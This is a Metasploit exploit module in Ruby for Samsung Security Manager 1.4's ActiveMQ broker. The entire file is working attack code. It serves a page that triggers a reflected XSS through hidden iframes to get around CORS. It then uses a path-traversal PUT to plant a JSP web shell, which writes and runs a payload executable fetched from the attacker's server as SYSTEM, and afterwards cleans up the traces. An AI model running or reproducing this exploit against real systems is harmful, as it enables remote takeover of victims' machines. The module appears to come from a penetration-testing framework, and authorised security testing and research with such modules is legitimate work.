##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Samsung Security Manager 1.4 ActiveMQ Broker Service PUT Method Remote Code Execution",
      'Description'    => %q{
        This is an exploit against Samsung Security Manager that bypasses the patch in ZDI-15-156 & ZDI-16-481
        by exploiting the vulnerability against the client-side. This exploit has been tested successfully using
        IE, FireFox and Chrome by abusing a GET request XSS to bypass CORS and reach the vulnerable PUT. Finally
        a traversal is used in the PUT request to upload the code just where we want it and gain RCE as SYSTEM.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'mr_me <mr_me[at]offensive-security.com>',                            # AWAE training 2016
        ],
      'References'     =>
        [
          [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-15-156/' ], # client vs server
          [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-16-481/' ]  # client vs server
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Samsung Security Manager 1.32 & 1.4 Universal', {} ]               # tested on 1.32 & 1.4
        ],
      'DisclosureDate' => '2016-08-05',
      'DefaultTarget'  => 0))
      register_options(
        [
          OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
        ])
  end

  # this is because String.fromCharCode has a max of 65535 func args
  # thanks to sinn3r for his help with the Array->String conversion
  def encode_js(string)
    i = 0
    encoded_0 = []
    encoded_1 = []
    string.each_byte do |c|
      if i > 65534
        encoded_1 << c
      else
        encoded_0 << c
      end
      i += 1
    end
    if i > 65534
      return encoded_0 * ",", encoded_1 * ","
    else
      return encoded_0 * ","
    end
  end

  # tested on Firefox v46.0.1 (latest)
  # tested on Chrome v50.0.2661.102 (latest release)
  # tested on IE v11.0.9600.18314 (latest)
  def on_request_uri(cli, request)

    js_name  = rand_text_alpha(rand(10)+5) + '.js'

    payload_url =  "http://"
    payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/" + js_name

    # we deliver the JavaScript code that does the work for us
    if (request.uri.match(/.js/))
      return if ((p = regenerate_payload(cli)) == nil)

      # dont exploit again otherwise we get a zillion shells
      return if session_created? or @exploited

      jsp_name = rand_text_alpha(rand(10)+5) + '.jsp'
      exe_name = rand_text_alpha(rand(10)+5) + '.exe'

      # clean just the jsp, because the exe dropper will be in use
      register_files_for_cleanup("../../webapps/admin/#{jsp_name}")

      # our jsp upload, ensuring native code execution
      jsp = %Q|<%@ page import="java.io.*" %>
      <%
      ByteArrayOutputStream buf = new ByteArrayOutputStream();
      BufferedReader reader = request.getReader();
      int tmp;
      while ((tmp = reader.read()) != -1) { buf.write(tmp); }
      FileOutputStream fostream = new FileOutputStream("#{exe_name}");
      buf.writeTo(fostream);
      fostream.close();
      Runtime.getRuntime().exec("#{exe_name}");
      %>|

      # encode the payloads
      encoded_exe = encode_js(generate_payload_exe(code: payload.encoded))
      encoded_jsp = encode_js(jsp)

      # targets
      jsp_uri    = "http://localhost:8161/fileserver/..%5c%5cadmin%5c%5c#{jsp_name}"
      upload_uri = "http://localhost:8161/admin/#{jsp_name}"

      # this code does the PUT, then uploads/exec native code and then cleans the XSS out :->
      js_content = %Q|

      function do_put(uri, file_data) {
        var file_size = file_data.length;
        var xhr = new XMLHttpRequest();
        xhr.open("PUT", uri, true);
        var body = file_data;
        xhr.send(body);
        return true;
      }

      function do_upload(uri, file_data) {
        var file_size = file_data.length;
        var xhr = new XMLHttpRequest();
        xhr.open("POST", uri, true);
        var body = file_data;

        // latest ff doesnt have sendAsBinary(), so we redefine it
        if(!xhr.sendAsBinary){
          xhr.sendAsBinary = function(datastr) {
            function byteValue(x) {
              return x.charCodeAt(0) & 0xff;
            }
            var ords = Array.prototype.map.call(datastr, byteValue);
            var ui8a = new Uint8Array(ords);
            this.send(ui8a.buffer);
          }
        }
        xhr.sendAsBinary(body);
        return true;
      }

      function bye_bye_xss(uri){
        var xhr = new XMLHttpRequest();
        xhr.open('GET', uri.replace(/\\+/g,"%2b"), true);
        xhr.send();
      }

      function clean_up(){
        var xhr = new XMLHttpRequest();
        xhr.onreadystatechange = function() {
          if (xhr.readyState == XMLHttpRequest.DONE) {
            var els = xhr.responseXML.getElementsByTagName("a");
            for (var i = 0, l = els.length; i < l; i++) {
              var el = els[i];
              if (el.href.search("http://localhost:8161/admin/deleteDestination.action") == 0) {
                bye_bye_xss(el.href);
              }
            }
          }
        }
        xhr.open('GET', 'http://localhost:8161/admin/queues.jsp', true);
        xhr.responseType = "document"; // so that we can parse the reponse as a document
        xhr.send(null);
      }

      function exploit(){
        do_upload('#{upload_uri}', String.fromCharCode(#{encoded_exe[0]}) + String.fromCharCode(#{encoded_exe[1]}));
        clean_up();
      }

      function start() {
        do_put('#{jsp_uri}', String.fromCharCode(#{encoded_jsp}));
        setTimeout(exploit(), 4000); // timing is important
      }
      start();
      |

      if datastore['OBFUSCATE']
        js_content = ::Rex::Exploitation::JSObfu.new(js_content)
        js_content.obfuscate(memory_sensitive: true)
      end

    print_status("Sending javascript...")
    @exploited = true
    send_response_html(cli, js_content, { 'Content-Type' => 'application/javascript' })
    return
    end

    if datastore['OBFUSCATE']
       js_content = ::Rex::Exploitation::JSObfu.new(js_content)
       js_content.obfuscate(memory_sensitive: true)
       onlick = ::Rex::Exploitation::JSObfu.new(onlick)
       onlick.obfuscate(memory_sensitive: true)
    end

    # we can bypass Access-Control-Allow-Origin (CORS) in all browsers using iframe since it makes a GET request
    # and the response is recieved in the page (even though we cant access it due to SOP) which then fires the XSS
    html_content = %Q|
    <html>
    <body>
    <script>

    function fire() {
      var a = document.createElement('script');
      a.type = 'text/javascript';
      a.src = '#{payload_url}';
      document.body.appendChild(a);
    };

    var code = fire.toString() + ";fire();";
    var evalCode = 'eval("' + code + '")';
    var if1 = document.createElement("iframe");
    if1.src = 'http://localhost:8161/admin/browse.jsp?JMSDestination="%2b' + evalCode + '%2b"';
    if1.width = 0;
    if1.height = 0;
    document.body.appendChild(if1);

    </script>
    <script>

    window.onload = function() {
      var if2 = document.createElement("iframe");
      if2.src = "http://localhost:8161/admin/queueGraph.jsp"
      if2.width = 0;
      if2.height = 0;
      document.body.appendChild(if2);
    };
    </script>
    </body>
    </html>
    |
    print_status("Sending exploit...")
    send_response_html(cli, html_content)
    handler(cli)
  end
end
